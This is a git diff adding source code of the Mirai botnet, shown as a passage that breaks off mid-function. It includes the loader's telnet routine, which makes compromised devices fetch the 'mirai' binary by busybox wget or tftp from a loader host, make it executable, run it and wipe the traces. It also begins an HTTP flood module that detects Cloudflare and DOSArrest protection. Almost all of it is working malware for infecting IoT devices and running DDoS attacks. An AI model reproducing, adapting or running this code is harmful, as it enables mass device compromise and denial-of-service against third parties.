+ case UPLOAD_ECHO:
+ conn->state_telnet = TELNET_UPLOAD_ECHO;
+ conn->timeout = 30;
+ util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
+#ifdef DEBUG
+ printf("echo\n");
+#endif
+ break;
+ case UPLOAD_WGET:
+ conn->state_telnet = TELNET_UPLOAD_WGET;
+ conn->timeout = 120;
+ util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
+ wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
+#ifdef DEBUG
+ printf("wget\n");
+#endif
+ break;
+ case UPLOAD_TFTP:
+ conn->state_telnet = TELNET_UPLOAD_TFTP;
+ conn->timeout = 120;
+ util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
+ FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
+#ifdef DEBUG
+ printf("tftp\n");
+#endif
+ break;
+ }
+ }
+ break;
+ case TELNET_UPLOAD_ECHO:
+ consumed = connection_upload_echo(conn);
+ if (consumed)
+ {
+ conn->state_telnet = TELNET_RUN_BINARY;
+ conn->timeout = 30;
+#ifdef DEBUG
+ printf("[FD%d] Finished echo loading!\n", conn->fd);
+#endif
+ util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
+ ATOMIC_INC(&wrker->srv->total_echoes);
+ }
+ break;
+ case TELNET_UPLOAD_WGET:
+ consumed = connection_upload_wget(conn);
+ if (consumed)
+ {
+ conn->state_telnet = TELNET_RUN_BINARY;
+ conn->timeout = 30;
+#ifdef DEBUG
+ printf("[FD%d] Finished wget loading\n", conn->fd);
+#endif
+ util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
+ ATOMIC_INC(&wrker->srv->total_wgets);
+ }
+ break;
+ case TELNET_UPLOAD_TFTP:
+ consumed = connection_upload_tftp(conn);
+ if (consumed > 0)
+ {
+ conn->state_telnet = TELNET_RUN_BINARY;
+ conn->timeout = 30;
+#ifdef DEBUG
+ printf("[FD%d] Finished tftp loading\n", conn->fd);
+#endif
+ util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
+ ATOMIC_INC(&wrker->srv->total_tftps);
+ }
+ else if (consumed < -1) // Did not have permission to TFTP
+ {
+#ifdef DEBUG
+ printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
+#endif
+ consumed *= -1;
+ conn->state_telnet = TELNET_UPLOAD_ECHO;
+ conn->info.upload_method = UPLOAD_ECHO;
+
+ conn->timeout = 30;
+ util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
+ }
+ break;
+ case TELNET_RUN_BINARY:
+ if ((consumed = connection_verify_payload(conn)) > 0)
+ {
+ if (consumed >= 255)
+ {
+ conn->success = TRUE;
+#ifdef DEBUG
+ printf("[FD%d] Succesfully ran payload\n", conn->fd);
+#endif
+ consumed -= 255;
+ }
+ else
+ {
+#ifdef DEBUG
+ printf("[FD%d] Failed to execute payload\n", conn->fd);
+#endif
+ if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
+ {
+ conn->echo_load_pos = 0;
+ strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
+ conn->bin = binary_get_by_arch(conn->info.arch);
+ util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_UPLOAD_METHODS;
+ conn->retry_bin = TRUE;
+ break;
+ }
+ }
+#ifndef DEBUG
+ util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
+#else
+ util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
+#endif
+ conn->state_telnet = TELNET_CLEANUP;
+ conn->timeout = 10;
+ }
+ break;
+ case TELNET_CLEANUP:
+ if ((consumed = connection_consume_cleanup(conn)) > 0)
+ {
+ int tfd = conn->fd;
+
+ connection_close(conn);
+#ifdef DEBUG
+ printf("[FD%d] Cleaned up files\n", tfd);
+#endif
+ }
+ default:
+ consumed = 0;
+ break;
+ }
+
+ if (consumed == 0) // We didn't consume any data
+ break;
+ else
+ {
+ if (consumed > conn->rdbuf_pos)
+ {
+ consumed = conn->rdbuf_pos;
+ //printf("consuming more then our position!\n");
+ //abort();
+ }
+ conn->rdbuf_pos -= consumed;
+ memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
+ conn->rdbuf[conn->rdbuf_pos] = 0;
+ }
+
+ if (conn->rdbuf_pos > 8196)
+ {
+ printf("oversized buffer! 2\n");
+ abort();
+ }
+ }
+ }
+ }
+}
+
+static void *timeout_thread(void *arg)
+{
+ struct server *srv = (struct server *)arg;
+ int i, ct;
+
+ while (TRUE)
+ {
+ ct = time(NULL);
+
+ for (i = 0; i < (srv->max_open * 2); i++)
+ {
+ struct connection *conn = srv->estab_conns[i];
+
+ if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
+ {
+#ifdef DEBUG
+ printf("[FD%d] Timed out\n", conn->fd);
+#endif
+ if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
+ {
+ conn->last_recv = time(NULL);
+ util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
+ conn->ctrlc_retry = TRUE;
+
+ conn->echo_load_pos = 0;
+ strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
+ conn->bin = binary_get_by_arch(conn->info.arch);
+ util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
+ conn->state_telnet = TELNET_UPLOAD_METHODS;
+ conn->retry_bin = TRUE;
+ } else {
+ connection_close(conn);
+ }
+ } else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
+ {
+ conn->output_buffer.deadline = 0;
+ util_sockprintf(conn->fd, conn->output_buffer.data);
+ }
+ }
+
+ sleep(1);
+ }
+}
diff --git a/headers/server.h b/headers/server.h
new file mode 100644
index 0000000..c2217d4
--- /dev/null
+++ b/headers/server.h
@@ -0,0 +1,38 @@
+#pragma once
+
+#include
+#include "includes.h"
+#include "telnet_info.h"
+#include "connection.h"
+
+struct server {
+ uint32_t max_open;
+ volatile uint32_t curr_open;
+ volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;
+ char *wget_host_ip, *tftp_host_ip;
+ struct server_worker *workers;
+ struct connection **estab_conns;
+ ipv4_t *bind_addrs;
+ pthread_t to_thrd;
+ port_t wget_host_port;
+ uint8_t workers_len, bind_addrs_len;
+ int curr_worker_child;
+};
+
+struct server_worker {
+ struct server *srv;
+ int efd; // We create a separate epoll context per thread so thread safety isn't our problem
+ pthread_t thread;
+ uint8_t thread_id;
+};
+
+struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
+void server_destroy(struct server *srv);
+void server_queue_telnet(struct server *srv, struct telnet_info *info);
+void server_telnet_probe(struct server *srv, struct telnet_info *info);
+
+static void bind_core(int core);
+static void *worker(void *arg);
+static void handle_output_buffers(struct server_worker *);
+static void handle_event(struct server_worker *wrker, struct epoll_event *ev);
+static void *timeout_thread(void *);
diff --git a/headers/telnet_info.c b/headers/telnet_info.c
new file mode 100644
index 0000000..1fdc020
--- /dev/null
+++ b/headers/telnet_info.c
@@ -0,0 +1,63 @@
+#include
+#include
+#include
+#include
+#include "headers/includes.h"
+#include "headers/telnet_info.h"
+
+struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)
+{
+ if (user != NULL)
+ strcpy(info->user, user);
+ if (pass != NULL)
+ strcpy(info->pass, pass);
+ if (arch != NULL)
+ strcpy(info->arch, arch);
+ info->addr = addr;
+ info->port = port;
+
+ info->has_auth = user != NULL || pass != NULL;
+ info->has_arch = arch != NULL;
+
+ return info;
+}
+
+struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch
+{
+ char *conn, *auth, *arch;
+ char *addr_str, *port_str, *user = NULL, *pass = NULL;
+ ipv4_t addr;
+ port_t port;
+
+ if ((conn = strtok(str, " ")) == NULL)
+ return NULL;
+ if ((auth = strtok(NULL, " ")) == NULL)
+ return NULL;
+ arch = strtok(NULL, " "); // We don't care if we don't know the arch
+
+ if ((addr_str = strtok(conn, ":")) == NULL)
+ return NULL;
+ if ((port_str = strtok(NULL, ":")) == NULL)
+ return NULL;
+
+ if (strlen(auth) == 1)
+ {
+ if (auth[0] == ':')
+ {
+ user = "";
+ pass = "";
+ }
+ else if (auth[0] != '?')
+ return NULL;
+ }
+ else
+ {
+ user = strtok(auth, ":");
+ pass = strtok(NULL, ":");
+ }
+
+ addr = inet_addr(addr_str);
+ port = htons(atoi(port_str));
+
+ return telnet_info_new(user, pass, arch, addr, port, out);
+}
diff --git a/headers/telnet_info.h b/headers/telnet_info.h
new file mode 100644
index 0000000..44c23be
--- /dev/null
+++ b/headers/telnet_info.h
@@ -0,0 +1,18 @@
+#pragma once
+
+#include "includes.h"
+
+struct telnet_info {
+ char user[32], pass[32], arch[6], writedir[32];
+ ipv4_t addr;
+ port_t port;
+ enum {
+ UPLOAD_ECHO,
+ UPLOAD_WGET,
+ UPLOAD_TFTP
+ } upload_method;
+ BOOL has_auth, has_arch;
+};
+
+struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);
+struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);
diff --git a/headers/util.c b/headers/util.c
new file mode 100644
index 0000000..17d8cb6
--- /dev/null
+++ b/headers/util.c
@@ -0,0 +1,174 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "headers/includes.h"
+#include "headers/util.h"
+#include "headers/server.h"
+
+void hexDump (char *desc, void *addr, int len) {
+ int i;
+ unsigned char buff[17];
+ unsigned char *pc = (unsigned char*)addr;
+
+ // Output description if given.
+ if (desc != NULL)
+ printf ("%s:\n", desc);
+
+ if (len == 0) {
+ printf(" ZERO LENGTH\n");
+ return;
+ }
+ if (len < 0) {
+ printf(" NEGATIVE LENGTH: %i\n",len);
+ return;
+ }
+
+ // Process every byte in the data.
+ for (i = 0; i < len; i++) {
+ // Multiple of 16 means new line (with line offset).
+
+ if ((i % 16) == 0) {
+ // Just don't print ASCII for the zeroth line.
+ if (i != 0)
+ printf (" %s\n", buff);
+
+ // Output the offset.
+ printf (" %04x ", i);
+ }
+
+ // Now the hex code for the specific character.
+ printf (" %02x", pc[i]);
+
+ // And store a printable ASCII character for later.
+ if ((pc[i] < 0x20) || (pc[i] > 0x7e))
+ buff[i % 16] = '.';
+ else
+ buff[i % 16] = pc[i];
+ buff[(i % 16) + 1] = '\0';
+ }
+
+ // Pad out last line if not exactly 16 characters.
+ while ((i % 16) != 0) {
+ printf (" ");
+ i++;
+ }
+
+ // And print the final ASCII bit.
+ printf (" %s\n", buff);
+}
+
+int util_socket_and_bind(struct server *srv)
+{
+ struct sockaddr_in bind_addr;
+ int i, fd, start_addr;
+ BOOL bound = FALSE;
+
+ if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ return -1;
+
+ bind_addr.sin_family = AF_INET;
+ bind_addr.sin_port = 0;
+
+ // Try to bind on the first available address
+ start_addr = rand() % srv->bind_addrs_len;
+ for (i = 0; i < srv->bind_addrs_len; i++)
+ {
+ bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];
+ if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
+ {
+ if (++start_addr == srv->bind_addrs_len)
+ start_addr = 0;
+ }
+ else
+ {
+ bound = TRUE;
+ break;
+ }
+ }
+ if (!bound)
+ {
+ close(fd);
+#ifdef DEBUG
+ printf("Failed to bind on any address\n");
+#endif
+ return -1;
+ }
+
+ // Set the socket in nonblocking mode
+ if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)
+ {
+#ifdef DEBUG
+ printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n");
+#endif
+ }
+ return fd;
+}
+
+int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
+{
+ int i, matched = 0;
+
+ if (mem_len > buf_len)
+ return -1;
+
+ for (i = 0; i < buf_len; i++)
+ {
+ if (buf[i] == mem[matched])
+ {
+ if (++matched == mem_len)
+ return i + 1;
+ }
+ else
+ matched = 0;
+ }
+
+ return -1;
+}
+
+BOOL util_sockprintf(int fd, const char *fmt, ...)
+{
+ char buffer[BUFFER_SIZE + 2];
+ va_list args;
+ int len;
+
+ va_start(args, fmt);
+ len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
+ va_end(args);
+
+ if (len > 0)
+ {
+ if (len > BUFFER_SIZE)
+ len = BUFFER_SIZE;
+
+#ifdef DEBUG
+ hexDump("TELOUT", buffer, len);
+#endif
+ if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+char *util_trim(char *str)
+{
+ char *end;
+
+ while(isspace(*str))
+ str++;
+
+ if(*str == 0)
+ return str;
+
+ end = str + strlen(str) - 1;
+ while(end > str && isspace(*end))
+ end--;
+
+ *(end+1) = 0;
+
+ return str;
+}
diff --git a/headers/util.h b/headers/util.h
new file mode 100644
index 0000000..06d28c8
--- /dev/null
+++ b/headers/util.h
@@ -0,0 +1,72 @@
+#pragma once
+
+#include "server.h"
+#include "includes.h"
+
+#define BUFFER_SIZE 4096
+
+#define EI_NIDENT 16 // Side of e_ident in elf header
+#define EI_DATA 5 // Offset endianness in e_ident
+
+#define EE_NONE 0 // No endianness ????
+#define EE_LITTLE 1 // Little endian
+#define EE_BIG 2 // Big endian
+
+#define ET_NOFILE 0 // None
+#define ET_REL 1 // Relocatable file
+#define ET_EXEC 2 // Executable file
+#define ET_DYN 3 // Shared object file
+#define ET_CORE 4 // Core file
+
+/* These constants define the various ELF target machines */
+#define EM_NONE 0
+#define EM_M32 1
+#define EM_SPARC 2
+#define EM_386 3
+#define EM_68K 4 // m68k
+#define EM_88K 5 // m68k
+#define EM_486 6 // x86
+#define EM_860 7 // Unknown
+#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */
+ /* Next two are historical and binaries and
+ modules of these types will be rejected by
+ Linux. */
+#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */
+#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */
+
+#define EM_PARISC 15 /* HPPA */
+#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */
+#define EM_PPC 20 /* PowerPC */
+#define EM_PPC64 21 /* PowerPC64 */
+#define EM_SPU 23 /* Cell BE SPU */
+#define EM_ARM 40 /* ARM 32 bit */
+#define EM_SH 42 /* SuperH */
+#define EM_SPARCV9 43 /* SPARC v9 64-bit */
+#define EM_H8_300 46 /* Renesas H8/300 */
+#define EM_IA_64 50 /* HP/Intel IA-64 */
+#define EM_X86_64 62 /* AMD x86-64 */
+#define EM_S390 22 /* IBM S/390 */
+#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */
+#define EM_M32R 88 /* Renesas M32R */
+#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */
+#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */
+#define EM_BLACKFIN 106 /* ADI Blackfin Processor */
+#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */
+#define EM_TI_C6000 140 /* TI C6X DSPs */
+#define EM_AARCH64 183 /* ARM 64 bit */
+#define EM_TILEPRO 188 /* Tilera TILEPro */
+#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */
+#define EM_TILEGX 191 /* Tilera TILE-Gx */
+#define EM_FRV 0x5441 /* Fujitsu FR-V */
+#define EM_AVR32 0x18ad /* Atmel AVR32 */
+
+struct elf_hdr {
+ uint8_t e_ident[EI_NIDENT];
+ uint16_t e_type, e_machine;
+ uint32_t e_version;
+} __attribute__((packed));
+
+int util_socket_and_bind(struct server *srv);
+int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
+BOOL util_sockprintf(int fd, const char *fmt, ...);
+char *util_trim(char *str);
diff --git a/rai/bot/attack_app.c b/rai/bot/attack_app.c
new file mode 100644
index 0000000..0bc143e
--- /dev/null
+++ b/rai/bot/attack_app.c
@@ -0,0 +1,1174 @@
+#define _GNU_SOURCE
+
+#ifdef DEBUG
+#include
+#endif
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "includes.h"
+#include "attack.h"
+#include "rand.h"
+#include "table.h"
+#include "util.h"
+
+void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+
+}
+
+
+void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
+{
+ int i, ii, rfd, ret = 0;
+ struct attack_http_state *http_table = NULL;
+ char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL);
+ char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET");
+ char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL);
+ char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/");
+ int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1);
+ port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80);
+
+ char generic_memes[10241] = {0};
+
+ if (domain == NULL || path == NULL)
+ return;
+
+ if (util_strlen(path) > HTTP_PATH_MAX - 1)
+ return;
+
+ if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1)
+ return;
+
+ if (util_strlen(method) > 9)
+ return;
+
+ // BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING?
+ // yes it would segfault but we only update the values if they are not already uppercase.
+ // if the method is lowercase and its passed from the CNC we can update that memory no problem
+ for (ii = 0; ii < util_strlen(method); ii++)
+ if (method[ii] >= 'a' && method[ii] <= 'z')
+ method[ii] -= 32;
+
+ if (sockets > HTTP_CONNECTION_MAX)
+ sockets = HTTP_CONNECTION_MAX;
+
+ // unlock frequently used strings
+ table_unlock_val(TABLE_ATK_SET_COOKIE);
+ table_unlock_val(TABLE_ATK_REFRESH_HDR);
+ table_unlock_val(TABLE_ATK_LOCATION_HDR);
+ table_unlock_val(TABLE_ATK_SET_COOKIE_HDR);
+ table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR);
+ table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR);
+ table_unlock_val(TABLE_ATK_CHUNKED);
+ table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR);
+ table_unlock_val(TABLE_ATK_CONNECTION_HDR);
+ table_unlock_val(TABLE_ATK_DOSARREST);
+ table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX);
+
+ http_table = calloc(sockets, sizeof(struct attack_http_state));
+
+ for (i = 0; i < sockets; i++)
+ {
+ http_table[i].state = HTTP_CONN_INIT;
+ http_table[i].fd = -1;
+ http_table[i].dst_addr = targs[i % targs_len].addr;
+
+ util_strcpy(http_table[i].path, path);
+
+ if (http_table[i].path[0] != '/')
+ {
+ memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path));
+ http_table[i].path[0] = '/';
+ }
+
+ util_strcpy(http_table[i].orig_method, method);
+ util_strcpy(http_table[i].method, method);
+
+ util_strcpy(http_table[i].domain, domain);
+
+ if (targs[i % targs_len].netmask < 32)
+ http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask));
+
+ switch(rand_next() % 5)
+ {
+ case 0:
+ table_unlock_val(TABLE_HTTP_ONE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL));
+ table_lock_val(TABLE_HTTP_ONE);
+ break;
+ case 1:
+ table_unlock_val(TABLE_HTTP_TWO);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL));
+ table_lock_val(TABLE_HTTP_TWO);
+ break;
+ case 2:
+ table_unlock_val(TABLE_HTTP_THREE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL));
+ table_lock_val(TABLE_HTTP_THREE);
+ break;
+ case 3:
+ table_unlock_val(TABLE_HTTP_FOUR);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL));
+ table_lock_val(TABLE_HTTP_FOUR);
+ break;
+ case 4:
+ table_unlock_val(TABLE_HTTP_FIVE);
+ util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL));
+ table_lock_val(TABLE_HTTP_FIVE);
+ break;
+ }
+
+ util_strcpy(http_table[i].path, path);
+ }
+
+ while(TRUE)
+ {
+ fd_set fdset_rd, fdset_wr;
+ int mfd = 0, nfds;
+ struct timeval tim;
+ struct attack_http_state *conn;
+ uint32_t fake_time = time(NULL);
+
+ FD_ZERO(&fdset_rd);
+ FD_ZERO(&fdset_wr);
+
+ for (i = 0; i < sockets; i++)
+ {
+ conn = &(http_table[i]);
+
+ if (conn->state == HTTP_CONN_RESTART)
+ {
+ if (conn->keepalive)
+ conn->state = HTTP_CONN_SEND;
+ else
+ conn->state = HTTP_CONN_INIT;
+ }
+
+ if (conn->state == HTTP_CONN_INIT)
+ {
+ struct sockaddr_in addr = {0};
+
+ if (conn->fd != -1)
+ close(conn->fd);
+ if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
+ continue;
+
+ fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
+
+ ii = 65535;
+ setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int));
+
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = conn->dst_addr;
+ addr.sin_port = htons(dport);
+
+ conn->last_recv = fake_time;
+ conn->state = HTTP_CONN_CONNECTING;
+ connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
+#ifdef DEBUG
+ printf("[http flood] fd%d started connect\n", conn->fd);
+#endif
+
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_CONNECTING)
+ {
+ if (fake_time - conn->last_recv > 30)
+ {
+ conn->state = HTTP_CONN_INIT;
+ close(conn->fd);
+ conn->fd = -1;
+ continue;
+ }
+
+ FD_SET(conn->fd, &fdset_wr);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_SEND)
+ {
+ conn->content_length = -1;
+ conn->protection_type = 0;
+ util_zero(conn->rdbuf, HTTP_RDBUF_SIZE);
+ conn->rdbuf_pos = 0;
+
+#ifdef DEBUG
+ //printf("[http flood] Sending http request\n");
+#endif
+
+ char buf[10240];
+ util_zero(buf, 10240);
+
+ util_strcpy(buf + util_strlen(buf), conn->method);
+ util_strcpy(buf + util_strlen(buf), " ");
+ util_strcpy(buf + util_strlen(buf), conn->path);
+ util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: ");
+ util_strcpy(buf + util_strlen(buf), conn->user_agent);
+ util_strcpy(buf + util_strlen(buf), "\r\nHost: ");
+ util_strcpy(buf + util_strlen(buf), conn->domain);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_KEEP_ALIVE);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL));
+ table_lock_val(TABLE_ATK_KEEP_ALIVE);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_ACCEPT);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL));
+ table_lock_val(TABLE_ATK_ACCEPT);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ table_unlock_val(TABLE_ATK_ACCEPT_LNG);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL));
+ table_lock_val(TABLE_ATK_ACCEPT_LNG);
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ if (postdata != NULL)
+ {
+ table_unlock_val(TABLE_ATK_CONTENT_TYPE);
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL));
+ table_lock_val(TABLE_ATK_CONTENT_TYPE);
+
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+ util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL));
+ util_strcpy(buf + util_strlen(buf), " ");
+ util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf));
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+ }
+
+ if (conn->num_cookies > 0)
+ {
+ util_strcpy(buf + util_strlen(buf), "Cookie: ");
+ for (ii = 0; ii < conn->num_cookies; ii++)
+ {
+ util_strcpy(buf + util_strlen(buf), conn->cookies[ii]);
+ util_strcpy(buf + util_strlen(buf), "; ");
+ }
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+ }
+
+ util_strcpy(buf + util_strlen(buf), "\r\n");
+
+ if (postdata != NULL)
+ util_strcpy(buf + util_strlen(buf), postdata);
+
+ if (!util_strcmp(conn->method, conn->orig_method))
+ util_strcpy(conn->method, conn->orig_method);
+
+#ifdef DEBUG
+ if (sockets == 1)
+ {
+ printf("sending buf: \"%s\"\n", buf);
+ }
+#endif
+
+ send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL);
+ conn->last_send = fake_time;
+
+ conn->state = HTTP_CONN_RECV_HEADER;
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_RECV_HEADER)
+ {
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_RECV_BODY)
+ {
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_QUEUE_RESTART)
+ {
+ FD_SET(conn->fd, &fdset_rd);
+ if (conn->fd > mfd)
+ mfd = conn->fd + 1;
+ }
+ else if (conn->state == HTTP_CONN_CLOSED)
+ {
+ conn->state = HTTP_CONN_INIT;
+ close(conn->fd);
+ conn->fd = -1;
+ }
+ else
+ {
+ // NEW STATE WHO DIS
+ conn->state = HTTP_CONN_INIT;
+ close(conn->fd);
+ conn->fd = -1;
+ }
+ }
+
+ if (mfd == 0)
+ continue;
+
+ tim.tv_usec = 0;
+ tim.tv_sec = 1;
+ nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim);
+ fake_time = time(NULL);
+
+ if (nfds < 1)
+ continue;
+
+ for (i = 0; i < sockets; i++)
+ {
+ conn = &(http_table[i]);
+
+ if (conn->fd == -1)
+ continue;
+
+ if (FD_ISSET(conn->fd, &fdset_wr))
+ {
+ int err = 0;
+ socklen_t err_len = sizeof (err);
+
+ ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
+ if (err == 0 && ret == 0)
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d connected.\n", conn->fd);
+#endif
+ conn->state = HTTP_CONN_SEND;
+ }
+ else
+ {
+#ifdef DEBUG
+ printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err);
+#endif
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = HTTP_CONN_INIT;
+ continue;
+ }
+ }
+
+ if (FD_ISSET(conn->fd, &fdset_rd))
+ {
+ if (conn->state == HTTP_CONN_RECV_HEADER)
+ {
+ int processed = 0;
+
+ util_zero(generic_memes, 10240);
+ if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1)
+ {
+ close(conn->fd);
+ conn->fd = -1;
+ conn->state = HTTP_CONN_INIT;
+ continue;
+ }
+
+
+ // we want to process a full http header (^:
+ if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240)
+ continue;
+
+ generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0;
+
+#ifdef DEBUG
+ if (sockets == 1)
+ printf("[http flood] headers: \"%s\"\n", generic_memes);
+#endif
+
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1)
+ conn->protection_type = HTTP_PROT_CLOUDFLARE;
+
+ if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1)
